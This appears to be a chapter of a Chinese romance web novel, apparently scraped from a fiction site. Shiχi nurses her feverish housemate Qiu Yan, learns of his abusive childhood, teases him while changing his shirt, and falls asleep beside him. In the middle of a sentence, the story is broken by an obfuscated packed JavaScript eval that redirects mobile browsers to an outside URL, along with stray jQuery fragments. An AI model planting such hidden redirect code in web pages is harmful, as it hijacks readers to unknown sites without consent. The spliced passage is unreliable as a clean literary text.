今天睡醒时，时昔是被腹中空空的饥饿感叫醒的。
她迷迷糊糊地坐起身，鼻尖习惯性地去捕捉空气中熟悉的香气。
往常这个时候，客厅里该飘着食物的热气才对。
可今天什么都没有。
时昔赤脚踩在微凉的地板上走出去，客厅里安安静静的，没留下半分有人活动过的痕迹。
餐桌上空荡荡的，灶台上也干干净净的，连他平常惯用的那个马克杯都不在原位。
她站在原地顿了顿，目光落在他紧闭的房门上。
犹豫几秒后，她还是走到他的房间门口，抬起手轻轻敲了敲房门。
“邱言，你在里面吗？”
没人回应。
时昔又去看了一眼玄关的鞋，邱言所有的鞋都在原位，这让她断定邱言应该是在自己的房间里头没有出来。
她再次敲了敲房门，还是无人应答。
于是她心一横，直接打开了邱言的房门。
一推开门，他略急促的呼吸声就传进了时昔的耳朵里。
邱言躺在床上，被子几乎拉到了下巴，只露出一截苍白的下颌线。他侧躺着，背对着门口，黑发凌乱的搭在额角。
房间里很暗，他把窗帘拉的严严实实的，让人一时间分不清楚这是白天还是黑夜。
时昔走近一看，邱言额前的碎发被冷汗浸湿，露在外头的耳廓泛着不正常的潮红。
他似乎睡得很不安稳，眉头紧皱，嘴唇抿得紧紧的。喉结偶尔会上下滚动一下，发出点极轻的、类似压抑的闷哼声。
时昔下意识放轻了呼吸，抬手附在他的额头上，“好烫。”
床上的人似乎被惊动了，忽然睁开眼。
精准抓住了时昔的手。
他的眼神有点迷离，眼睛里像覆着一层雾，“嗯？现在几点了，你想…想吃什么，我给你做。”
看着他通红的脸颊，时昔不知道为什么感觉心揪了一下。
应该就是昨天那场雨淋的。
“你发烧了，别乱动。”
见邱言准备起床，时昔直接把人按了回去。
发烧后的邱言没有多少力气，就被她这么不轻不重推了一下，就又跌回了枕头上，呼吸都乱了。
“……我，没有。”他覆手摸着自己的额头。
看着他身上几乎被浸湿的T恤，时昔扶额道：“你看看你流了多少汗，别逞强了。今天我来做饭。”
说完便伸手替他把被角掖好，转身想去厨房找药、熬点白粥。
下一秒，她的衣角被拉住了。
力道很轻，像是在试探什么。
时昔回头，就见邱言半睁着眼望她，睫毛上似乎都沾着水汽。
他没看她，眼神飘忽地落在被单上，嘴里却反复喃喃着，“别走。”
看着病殃殃的邱言，时昔一时狠不下心来直接甩开抓住她衣角的手，她轻声道：“嗯。我不走，我只是去给你拿药，很快就回来。”
邱言似乎没有听到，他还是继续用着微弱的声音重复着：“别走…妈妈，不要把我关在这。”
这是邱言第一次在时昔面前提起自己的家人。
在时昔这个圈子里的人一直都知道，邱言是邱家最不受宠的儿子。
他上头还有一个同父异母的哥哥。
听说邱言是私生子，当初是为了那个哥哥治病他才被认回邱家。
时昔记得自己曾特意去查过邱言的底细，她当初看下来，只觉得邱言的身世只能用一个惨字来形容。
乱搞的爹，强势的继母。
但好在听说邱家大少爷人还是不错的。
至少在圈子里没听说过他的坏话。
邱言现在口中喊的妈妈大概就是他的继母。
想到这时昔的心像是被什么东西轻轻揪了一下，又酸又软。
她轻轻撩开邱言因为汗液黏在额角和眼睛前的碎发，指腹触到他滚烫的皮肤时，他像受惊的小兽般瑟缩了一下。
“我不走。”时昔放柔了声音，蹲下身，让自己的视线与他平齐，“没人会把你关在这里，我在呢。”
邱言的眼神依旧涣散，嘴唇翕动着，声音轻得几乎听不见，“黑……好黑……”
时昔这才注意到，这房间暗得近乎窒息。厚重的窗帘密不透风，房内只有她刚才推门时带进的些许光亮。
她伸手想去拉窗帘，手腕却被他反握住。这次的力道意外地紧，带着种近乎绝望的执拗。
“别拉……”他猛地收紧手指，指节泛白，“她会看见……会骂我……”
时昔的心像被细密的针轻轻扎了一下，密密麻麻地疼。
她认识的邱言，不是高冷矜贵的公子哥。就是失忆后也能把生活过得井井有条的男人。
可眼前这个烧得糊涂、蜷缩在黑暗里喊着“妈妈”的人，脆弱得像片随时会被风吹散的蒲公英。
她反手轻轻拍了拍他的手背，像安抚一个受了委屈的孩子，“不拉窗帘，我陪着你。”
说着，她索性在床边坐下，另一只手覆在他手背上，用自己微凉的体温试图让他舒服点。
邱言似乎真的被这温度安抚了些，紧绷的身体慢慢放松下来，握着她衣角的手也松了松，只是依旧没松开。
他的呼吸渐渐平稳了些，却还是断断续续地呢喃着，有时是模糊的“别关我”，有时是含混的“疼……”。
更多的时候，只是重复着那两个字：“别走……”
时昔静静听着，用手轻轻按在他紧皱的眉头上，一点点揉平那眉头。
“睡吧，”她低声说。
等到邱言熟睡后，时昔才轻手轻脚出了房间，开始翻箱倒柜找邱言家的感冒药放在哪，
可她翻了很久也没看到一点关于药的踪迹。
反倒是在抽屉的深处看到了一把陈旧的钥匙。
时昔捏着钥匙顿了顿，这把钥匙她有印象。是邱言失忆前特别宝贝的东西。
当时她还调侃邱言，说这是不是他初恋送的礼物。
当时的他并没有回答。
她对着钥匙愣了两秒，随手把它搁在桌上上，继续埋头找药。
直到在客厅电视柜最下层的暗格里摸出一板退烧药，才松了口气，先前那点关于钥匙的念头早被抛到了脑后。
那把钥匙就这么孤零零待在了桌上。
时昔端着温水和药
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406612|184502||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
片回到房间，邱言还沉睡着，只是脸色似乎比刚才缓了些。
她小心地扶起他的肩，轻声唤他，“邱言，醒醒，先把药吃了。”
他哼唧着睁开眼，眼神依旧有些发蒙，却下意识地顺从着她的力道张了张嘴，把药片咽了下去。
温水顺着嘴角淌下一点，时昔抽了张纸巾替他擦干净，指尖碰到他汗湿的脖颈，才想起他身上那件T恤早就湿透了，这样捂着怕是更难受。
时昔的指尖落在他T恤的领口，布料被冷汗浸得透湿。
她轻轻将领口往外扯了扯，想先褪下一边肩膀。
她俯身时，发梢扫过他滚烫的颈侧，邱言喉间溢出声闷哼，似乎是不太舒服。
“啧，”她低笑一声，指尖故意在他锁骨上划了下，“烧得浑身冒热气，还硬撑着做早餐？”
邱言被这触碰激得瑟缩了下，半睁的眼蒙着层雾，却直勾勾地黏在她脸上。
时昔没躲开，反而俯身凑得更近了些，发梢扫过他滚烫的脸颊，带着点刻意的撩拨，“不动怎么换？还是说，想让我直接把湿衣服撕了？”
她的声音带着点漫不经心的慵懒，手却没停，利落地将T恤从他身上褪下来。
邱言的背很薄，背上有着几条浅浅的疤痕。
时昔的指腹擦过那处皮肤，感受到他瞬间绷紧的肌肉，她的嘴角勾得更明显了。
“怕痒？”她故意用指节在他腰侧挠了挠，看着他闷哼一声，眼尾泛红得更厉害，“平时看你挺能忍的，生病就露怯了？”
邱言没说话，只是忽然抬手抓住她的手腕。
他的掌心滚烫，带着湿意，力道却不稳。
时昔反手握住他的手指，指尖在他手背上轻轻画着圈，声音压低了些，带着点蛊惑，“松开，不然我可保证不了接下来会做什么。”
他的眼神晃了晃，竟真的松了手。
时昔挑眉，拿起干净睡衣往他身上套，手臂穿过他腋下时，故意让胸口贴着他的后背磨蹭了下。
邱言的呼吸猛地乱了，连耳根都烧得通红。
“脸红什么？”她轻笑，指尖在他耳垂上捏了捏，“又不是没见过。”
邱言望着她，眼神里那层雾似乎散了点，却多了些奇怪的东西，她不明白这是什么。
时昔收回手，起身时故意用膝盖在他腿侧轻轻撞了下，转身时的笑带着点漫不经心的玩味。
逗弄这只生病时格外乖顺听话的小狗，倒比想象中有趣多了。
就这样，时昔坐在他身边陪了他很久很久。
久到自己都忘了时间，久到她打了个哈欠，眼皮越来越沉。
昨夜似乎没睡好，这房间里安静得只剩下他平稳的呼吸声，更加催眠起来。
时昔歪了歪头，手臂撑在床沿上，不知不觉就往下滑了滑。
邱言翻了个身，面朝她的方向。
他的呼吸带着刚退下去些的热度，拂在她的发顶。
时昔迷迷糊糊地往热源处凑了凑，脑袋一歪，恰好搁在了他的胸口。
而梦里的邱言也很自然揽住了她的腰。
两人的呼吸渐渐同频，一呼一吸间，似乎把两人紧紧缠绕在一起。